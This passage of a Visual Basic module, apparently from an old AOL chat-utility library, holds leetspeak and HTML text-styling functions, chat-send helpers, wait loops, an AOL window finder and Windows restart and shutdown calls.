"1" If NextChr$ = "k" Then Let NextChr$ = "k" If NextChr$ = "K" Then Let NextChr$ = "k" If NextChr$ = "L" Then Let NextChr$ = "l" If NextChr$ = "M" Then Let NextChr$ = "m" If NextChr$ = "m" Then Let NextChr$ = "m" If NextChr$ = "N" Then Let NextChr$ = "n" If NextChr$ = "n" Then Let NextChr$ = "n" If NextChr$ = "O" Then Let NextChr$ = "0" If NextChr$ = "o" Then Let NextChr$ = "0" If NextChr$ = "P" Then Let NextChr$ = "p" If NextChr$ = "p" Then Let NextChr$ = "p" If NextChr$ = "Q" Then Let NextChr$ = "q" If NextChr$ = "R" Then Let NextChr$ = "r" If NextChr$ = "S" Then Let NextChr$ = "5" If NextChr$ = "s" Then Let NextChr$ = "5" If NextChr$ = "t" Then Let NextChr$ = "7" If NextChr$ = "T" Then Let NextChr$ = "7" If NextChr$ = "U" Then Let NextChr$ = "u" If NextChr$ = "u" Then Let NextChr$ = "u" If NextChr$ = "V" Then Let NextChr$ = "v" If NextChr$ = "W" Then Let NextChr$ = "w" If NextChr$ = "X" Then Let NextChr$ = "x" If NextChr$ = "X" Then Let NextChr$ = "x" If NextChr$ = "Y" Then Let NextChr$ = "y" Let NewSent$ = NewSent$ + NextChr$ send: If Crapp% > 0 Then Let Crapp% = Crapp% - 1 DoEvents Loop Talker_r33t = NewSent$ End Function Function Talker_Lcase(Strn As String) As String Dim chang As String chang$ = LCase(Strn) Talker_Lcase = chang$ End Function Function Talker_PuP(strin As String) As String 'From ErrorR.Bas ' How to use: ' ReV = talker_pup(text1.text) ' errorrsend(ReV) Dim NextChr As String, inptxt As String, lenth As Integer Dim NextChrr As String, NewSent As String, NumSpc As Integer, Crapp As Integer Let inptxt$ = strin Let lenth% = Len(inptxt$) Do While NumSpc% <= lenth% DoEvents Let NumSpc% = NumSpc% + 1 Let NextChr$ = Mid$(inptxt$, NumSpc%, 1) Let NextChrr$ = Mid$(inptxt$, NumSpc%, 2) If NextChrr$ = "ae" Then Let NextChrr$ = "/-\E": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send If NextChrr$ = "AE" Then Let NextChrr$ = "/-\E": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send If NextChrr$ = "oe" Then Let NextChrr$ = "()e": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send If NextChrr$ = "OE" Then Let NextChrr$ = "()E": Let NewSent$ = NewSent$ + NextChrr$: Let Crapp% = 2: GoTo send If Crapp% > 0 Then GoTo send If NextChr$ = "A" Then Let NextChr$ = "/-\" If NextChr$ = "a" Then Let NextChr$ = "/-\" If NextChr$ = "B" Then Let NextChr$ = "(3" If NextChr$ = "C" Then Let NextChr$ = "C" If NextChr$ = "c" Then Let NextChr$ = "c" If NextChr$ = "D" Then Let NextChr$ = "|)" If NextChr$ = "d" Then Let NextChr$ = "d" If NextChr$ = "E" Then Let NextChr$ = "E" If NextChr$ = "e" Then Let NextChr$ = "d" If NextChr$ = "f" Then Let NextChr$ = "f" If NextChr$ = "H" Then Let NextChr$ = "|-|" If NextChr$ = "I" Then Let NextChr$ = "I" If NextChr$ = "i" Then Let NextChr$ = "i" If NextChr$ = "k" Then Let NextChr$ = "|ï" If NextChr$ = "K" Then Let NextChr$ = "(½" If NextChr$ = "L" Then Let NextChr$ = "(_" If NextChr$ = "M" Then Let NextChr$ = "(\/)" If NextChr$ = "m" Then Let NextChr$ = "ïv¢" If NextChr$ = "N" Then Let NextChr$ = "(\)" If NextChr$ = "n" Then Let NextChr$ = "/\/" If NextChr$ = "O" Then Let NextChr$ = "()" If NextChr$ = "o" Then Let NextChr$ = "()" If NextChr$ = "P" Then Let NextChr$ = "P" If NextChr$ = "p" Then Let NextChr$ = "p" If NextChr$ = "r" Then Let NextChr$ = "r" If NextChr$ = "S" Then Let NextChr$ = "S" If NextChr$ = "s" Then Let NextChr$ = "s" If NextChr$ = "t" Then Let NextChr$ = "t" If NextChr$ = "U" Then Let NextChr$ = "U" If NextChr$ = "u" Then Let NextChr$ = "u" If NextChr$ = "V" Then Let NextChr$ = "\/" If NextChr$ = "W" Then Let NextChr$ = "\X/" If NextChr$ = "w" Then Let NextChr$ = "\/\/" If NextChr$ = "X" Then Let NextChr$ = "><" If NextChr$ = "x" Then Let NextChr$ = "x" If NextChr$ = "Y" Then Let NextChr$ = "Y" If NextChr$ = "y" Then Let NextChr$ = "y" Let NewSent$ = NewSent$ + NextChr$ send: If Crapp% > 0 Then Let Crapp% = Crapp% - 1 DoEvents Loop Talker_PuP = NewSent$ End Function Function Text_VeryCrazy(strin As String) For X = 1 To Len(strin) Step 3 I$ = Mid(strin, X, 1) i2$ = Mid(strin, X + 1, 1) i3$ = Mid(strin, X + 2, 1) Final$ = Final$ & "<B>" & I$ & "</B>" & i2$ & "<i>" & i3$ & "</i>" Next X ErrorRsenD (Final$) End Function Function Text_Reverse(Wat As String) For X = Len(Wat) To 1 Step -1 I = Mid(Wat, X, 1) ReV$ = ReV$ & I Next X Text_Reverse = ReV$ End Function Function Text_StrikeCrazy(strin As String) For X = 1 To Len(strin) Step 2 I$ = Mid(strin, X, 1) i2$ = Mid(strin, X + 1, 1) Final$ = Final$ & "<S>" & I$ & "</S>" & i2$ Next X ErrorRsenD (Final$) End Function Function Text_Uppercase(Wat As String) X = UCase(Wat) Text_Uppercase = X End Function Function Text_Lowercase(Wat As String) X = LCase(Wat) Text_Lowercase = X End Function Function Time() ' where can = a label textbox etc 'wherever you want the time to be 'use this in a timer X = Format(Now, "h:mm:ss am/pm") Time = X End Function Function TrimNumbers(strin As String) 'This can be useful for screen names 'i made an aol prog that mass im'ed people 'and i made this so that instead of saying '"whats up Mike12345" it said "whats up Mike" 'cool huh? For I = 1 To Len(strin) l$ = Mid(strin, I, 1) If l$ = "1" Then Let l$ = "": GoTo Done If l$ = "2" Then Let l$ = "": GoTo Done If l$ = "3" Then Let l$ = "": GoTo Done If l$ = "4" Then Let l$ = "": GoTo Done If l$ = "5" Then Let l$ = "": GoTo Done If l$ = "6" Then Let l$ = "": GoTo Done If l$ = "7" Then Let l$ = "": GoTo Done If l$ = "8" Then Let l$ = "": GoTo Done If l$ = "9" Then Let l$ = "": GoTo Done If l$ = "0" Then Let l$ = "": GoTo Done Done: Trimmed$ = Trimmed$ & l$ Next I TrimNumbers = Trimmed$ End Function Function Type_Elite(Wat As String) For X = 1 To Len(Wat) Char$ = Mid(Wat, X, 1) If Char$ = "A" Then Let Char$ = "─" If Char$ = "a" Then Let Char$ = "σ" If Char$ = "B" Then Let Char$ = "▀" If Char$ = "C" Then Let Char$ = "╟" If Char$ = "c" Then Let Char$ = "ó" If Char$ = "D" Then Let Char$ = "╨" If Char$ = "d" Then Let Char$ = "≡" If Char$ = "E" Then Let Char$ = "╩" If Char$ = "e" Then Let Char$ = "Φ" If Char$ = "f" Then Let Char$ = "â" If Char$ = "H" Then Let Char$ = "|-|" If Char$ = "I" Then Let Char$ = "ç" If Char$ = "i" Then Let Char$ = "ε" If Char$ = "k" Then Let Char$ = "|ï" If Char$ = "L" Then Let Char$ = "ú" If Char$ = "M" Then Let Char$ = "/X\" If Char$ = "m" Then Let Char$ = "^^" If Char$ = "N" Then Let Char$ = "/\/" If Char$ = "n" Then Let Char$ = "±" If Char$ = "O" Then Let Char$ = "╪" If Char$ = "o" Then Let Char$ = "÷" If Char$ = "P" Then Let Char$ = "╢" If Char$ = "p" Then Let Char$ = "▐" If Char$ = "r" Then Let Char$ = "«" If Char$ = "S" Then Let Char$ = "º" If Char$ = "s" Then Let Char$ = "$" If Char$ = "t" Then Let Char$ = "å" If Char$ = "U" Then Let Char$ = "┌" If Char$ = "u" Then Let Char$ = "╡" If Char$ = "V" Then Let Char$ = "\/" If Char$ = "W" Then Let Char$ = "VV" If Char$ = "w" Then Let Char$ = "vv" If Char$ = "X" Then Let Char$ = "X" If Char$ = "x" Then Let Char$ = "╫" If Char$ = "Y" Then Let Char$ = "Ñ" If Char$ = "y" Then Let Char$ = "²" If Char$ = "!" Then Let Char$ = "í" If Char$ = "?" Then Let Char$ = "┐" If Char$ = "." Then Let Char$ = "à" If Char$ = "," Then Let Char$ = "é" If Char$ = "1" Then Let Char$ = "╣" If Char$ = "%" Then Let Char$ = "ë" If Char$ = "2" Then Let Char$ = "▓" If Char$ = "3" Then Let Char$ = "│" If Char$ = "_" Then Let Char$ = "»" If Char$ = "-" Then Let Char$ = "ù" If Char$ = " " Then Let Char$ = "á" If Char$ = "<" Then Let Char$ = "½" If Char$ = ">" Then Let Char$ = "╗" If Char$ = "*" Then Let Char$ = "ñ" If Char$ = "`" Then Let Char$ = "ô" If Char$ = "'" Then Let Char$ = "ö" If Char$ = "0" Then Let Char$ = "║" Done: leet$ = leet$ & Char$ Next X Type_Elite = leet$ End Function Function Type_Elite2(Wat As String) For X = 1 To Len(Wat) I = Mid(Wat, X, 1) If I = "e" Then Let I = "3": GoTo Done If I = "E" Then Let I = "3": GoTo Done If I = "t" Then Let I = "7": GoTo Done If I = "T" Then Let I = "7": GoTo Done If I = "l" Then Let I = "1": GoTo Done If I = "o" Then Let I = "0": GoTo Done If I = "O" Then Let I = "0": GoTo Done If I = "A" Then Let I = "4": GoTo Done If I = "B" Then Let I = "8": GoTo Done If I = "L" Then Let I = "1": GoTo Done Done: Finish$ = Finish$ & I Next X Type_Elite2 = Finish$ End Function Function Type_Hacker(Wat As String) For X = 1 To Len(Wat) I = Mid(Wat, X, 1) Rand = Int(Rnd * 2) If Rand = 1 Then Let I = UCase(I) Else Let I = LCase(I) End If strin$ = strin$ & I Next X Type_Hacker = strin$ End Function Function Text_Wavy(Wat As String) For X = 1 To Len(Wat) Step 4 I$ = Mid(Wat, X, 1) i2$ = Mid(Wat, X + 1, 1) i3$ = Mid(Wat, X + 2, 1) i4$ = Mid(Wat, X + 3, 1) strin$ = strin$ & "<sup>" & I$ & "</sup>" & i2$ & "<sub>" & i3$ & "</sub>" & i4$ Next X Text_Wavy = strin$ End Function Function Text_BoldWavy(Wat As String) For X = 1 To Len(Wat) Step 4 I$ = Mid(Wat, X, 1) i2$ = Mid(Wat, X + 1, 1) i3$ = Mid(Wat, X + 2, 1) i4$ = Mid(Wat, X + 3, 1) strin$ = strin$ & "<b><sup>" & I$ & "</sup>" & i2$ & "<sub>" & i3$ & "</sub>" & i4$ & "</b>" Next X Text_BoldWavy = strin$ End Function Function Text_ItalicBoldWavy(Wat As String) For X = 1 To Len(Wat) Step 4 I$ = Mid(Wat, X, 1) i2$ = Mid(Wat, X + 1, 1) i3$ = Mid(Wat, X + 2, 1) i4$ = Mid(Wat, X + 3, 1) strin$ = strin$ & "<i><b><sup>" & I$ & "</sup>" & i2$ & "<sub>" & i3$ & "</sub>" & i4$ & "</b></i>" Next X Text_ItalicBoldWavy = strin$ End Function Sub BoldSendChat(BoldChat) 'It will come out bold on the chat screen. ErrorRsenD ("<b>" & BoldChat & "</b>") End Sub Function Type_Hacker2(Wat As String) For X = 1 To Len(Wat) Step 2 I$ = Mid(Wat, X, 1) i2$ = Mid(Wat, X + 1, 1) I$ = UCase(I$): i2$ = LCase(i2$) hack$ = hack$ & I$ & i2$ Next X Type_Hacker2 = hack$ End Function Function Type_Hacker3(Wat As String) For X = 1 To Len(Wat) I$ = Mid(Wat, X, 1) If I$ = "a" Then Let I$ = "A": GoTo Done If I$ = "B" Then Let I$ = "b": GoTo Done If I$ = "C" Then Let I$ = "c": GoTo Done If I$ = "d" Then Let I$ = "D": GoTo Done If I$ = "E" Then Let I$ = "e": GoTo Done If I$ = "f" Then Let I$ = "F": GoTo Done If I$ = "G" Then Let I$ = "g": GoTo Done If I$ = "h" Then Let I$ = "H": GoTo Done If I$ = "I" Then Let I$ = "i": GoTo Done If I$ = "j" Then Let I$ = "J": GoTo Done If I$ = "K" Then Let I$ = "k": GoTo Done If I$ = "l" Then Let I$ = "L": GoTo Done If I$ = "M" Then Let I$ = "m": GoTo Done If I$ = "n" Then Let I$ = "N": GoTo Done If I$ = "O" Then Let I$ = "o": GoTo Done If I$ = "p" Then Let I$ = "P": GoTo Done If I$ = "Q" Then Let I$ = "q": GoTo Done If I$ = "r" Then Let I$ = "R": GoTo Done If I$ = "S" Then Let I$ = "s": GoTo Done If I$ = "t" Then Let I$ = "T": GoTo Done If I$ = "U" Then Let I$ = "u": GoTo Done If I$ = "v" Then Let I$ = "V": GoTo Done If I$ = "W" Then Let I$ = "w": GoTo Done If I$ = "x" Then Let I$ = "X": GoTo Done If I$ = "Y" Then Let I$ = "y": GoTo Done If I$ = "z" Then Let I$ = "Z": GoTo Done Done: strin$ = strin$ & I$ Next X Type_Hacker3 = strin$ End Function Function Wait(HLong) Current = Timer Do While Timer - Current < Val(HLong) DoEvents Loop End Function Function Wait2(HLong) 'might free up some resource while waiting ;o) 'yea i know what ya sayin..hound just wanted 'his bas to have 100 functions instead of 99 'i wish it has 100 at this point Current = Timer Do While Timer - Current < Val(HLong) DoEvents Call FreeProcess Loop End Function Function WaitForModal() Do: DoEvents Modal% = FindWindow("_AOL_Modal", vbNullString) stat% = FindChildByClass(Modal%, "_AOL_Static") Edi% = FindChildByClass(Modal%, "_AOL_Edit") If Modal% <> 0 And stat% <> 0 And Edi% <> 0 Then Exit Do Loop End Function Function Windows_ReStart() shutit = ExitWindows(EWX_REBOOT, 0) End Function Function Windows95_ShutDown() shutit = ExitWindows(EWX_SHUTDOWN, 0) End Function